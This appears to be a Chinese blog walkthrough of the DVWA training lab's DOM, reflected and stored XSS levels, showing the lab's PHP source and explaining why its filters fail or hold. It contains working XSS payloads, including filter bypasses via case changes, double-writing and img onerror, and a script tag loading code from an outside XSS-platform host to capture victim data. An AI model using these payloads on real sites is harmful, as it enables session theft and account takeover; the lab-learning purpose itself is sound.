一、XSS

1.简介

2.XSS的原理

3.XSS的攻击方式

4.XSS的危害

5.常见XSS攻击方式

6.常见基本过滤方法

7.XSS的防御措施

8.xss平台

二、XSS(DOM)

1.LOW

 2.medium

 3.High

 4.impossible

三、XSS (Reflected)反射型

1.Low

 2.Medium

3.high

 4.impossible

四、XSS (Stored)存储型

1.Low

 2.Medium

3.High

4.Impossible 


查看页面代码,发现xss代码以及插入并执行了。

 xss平台+DOM的xss联动

打开代码界面,查看xss代码语句。

 复制到dvwa的url中

 返回xss平台,可以看到我点击dvwa的信息。

 既然不能使用script,那么我们换一种标签,使用img进行尝试,发现还是没有出现弹窗。

 查看页面代码,发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签.

 当我们把闭合后的img构造语句执行后,发现出现弹窗,说明存在xss注入漏洞。

</select></option><img src=1 onerror=alert('xss');>

 我们继续和xss平台梦幻联动一波

 xss平台也是可以的。

#<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

 

 同样xss平台也可以实现  url输入<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

 大写绕过    <Script>alert('xss')</script>

 双写绕过  <sc<script>ript>alert('xss')</script>

 标签img   <img src=1 οnerrοr=alert('xss');>

 4.impossible

 <?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>

代码中,增加了对token的验证来防止CSRF攻击,然后使用htmlspecialchar函数,把字符转换为实体,防止浏览器将其作为HTML元素,过滤了我们输入的任何包含脚本标记语言。从源头上把跨站脚本攻击的可能性降到了最低。

<script>alert(1)</script>

 Sign登录触发存储型xss

 xss平台  <sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

 2.Medium

 <?phpif( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    //mysql_close();
}?>

查看源代码,发现将Message所有可能xss攻击的标签都进行了转义或过滤,但对Name仅仅限制了<script>的标签,因此我们依旧可以在Name中使用大写、双写、使用其他标签等方法来进行注入.

<Script>alert(1)</script> 

4.Impossible 

 <?phpif( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>
  •  查看源代码,发现使用内置的PHP函数来转义任何改变输入行为的值,并且使用token验证来防止CSRF攻击。

点赞(4) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部